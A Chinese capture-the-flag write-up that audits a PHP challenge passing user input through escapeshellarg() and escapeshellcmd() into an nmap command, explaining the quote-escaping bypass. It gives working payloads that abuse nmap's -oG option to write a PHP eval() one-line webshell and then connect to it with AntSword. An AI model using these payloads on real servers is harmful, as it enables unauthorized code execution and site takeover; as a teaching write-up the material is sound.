该题的知识点
1.nmap的将命令和结果写到文件(也许能构造木马)
2.escapeshellarg()和escapeshellcmd() 的绕过
先附上题目代码
1 |
|
代码审计
先是获取服务器IP地址,没啥用
1 | if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { |
还有设立文件夹,由此得知文件名不是固定的
1 | $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); |
传入参数$host,并经过两个函数处理,最后是和nmap命令拼接并执行
1 | $host = $_GET['host']; |
审计完毕,如果没有escapeshellarg()和escapeshellcmd()函数的处理,那就是之间利用nmap中-oG参数写入一句话木马然后蚁剑连接
函数介绍
escapeshellarg
1 | 把字符串转码为可以在 shell 命令里使用的参数 |
escapeshellcmd
1 | shell 元字符转义 |
这两个函数如果先使用escapeshellcmd()再使用escapeshellarg(),那将不会产生漏洞
但本题是相反
1 | $host = escapeshellarg($host); |
就是说两次转义后没有考虑单引号的问题导致可以绕过
因为单引号会和最近的一个单引号闭合
利用一篇文章的例子
- 传入的参数是:
172.17.0.2' -v -d a=1
- 经过
escapeshellarg
处理后变成了'172.17.0.2'\'' -v -d a=1'
,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 - 经过
escapeshellcmd
处理后变成'172.17.0.2'\\'' -v -d a=1\'
,这是因为escapeshellcmd
对\
以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php - 最后执行的命令是
curl '172.17.0.2'\\'' -v -d a=1\'
,由于中间的\\
被解释为\
而不再是转义字符,所以后面的'
没有被转义,与再后面的'
配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1'
,即向172.17.0.2\
发起请求,POST 数据为a=1'
。
题解
即使我们可以利用这个漏洞逃脱单引号的束缚,但因为上述两个函数的原因,我们无法进行命令注入,因为escapeshellcmd会对特殊符号前面添加反斜杠\进行转义
这个时候就需要nmap的-oG参数写木马
1 | nmap 1.php phpinfo(); -oG |
这是nmap的将一句php代码写入1.php文件的代码
但如果直接填入却因为那两个函数无法执行
我们可以看到最终的结果是被单引号括起来的,此时会被解析为字符串而无法执行函数
1 | nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php' |
那此时就需要利用这两个函数漏洞闭合单引号
绕过
只要添加一个单引号既可闭合所有,比如
1 | '<?php phpinfo(); ?> -oG 1.php |
1 | ''\\''\<\?php phpinfo\(\)\; \?\> -oG 1.php\' |
但是这个会在语句末尾新增一个引号,即1.php’ ,显然不是我们想要的
但如果在构造语句自己增加一个引号是否会闭合这个呢
1 | '<?php phpinfo(); ?> -oG 1.php' |
1 | ''\\''\<\?php phpinfo\(\)\; \?\> -oG 1.php'\\''' |
这也无法将语句储存在php文件中,也是失败告终
那我们可以添加一个空格对php后缀名与两个反斜杠隔离开来,应该就可以成功
1 | '<?php phpinfo(); ?> -oG 1.php ' |
测试后成功写入
将phpinfo();更换为一句话木马,然后蚁剑连得到
1 | '<?php @eval($_POST["a"]);?> -oG 1.php ' |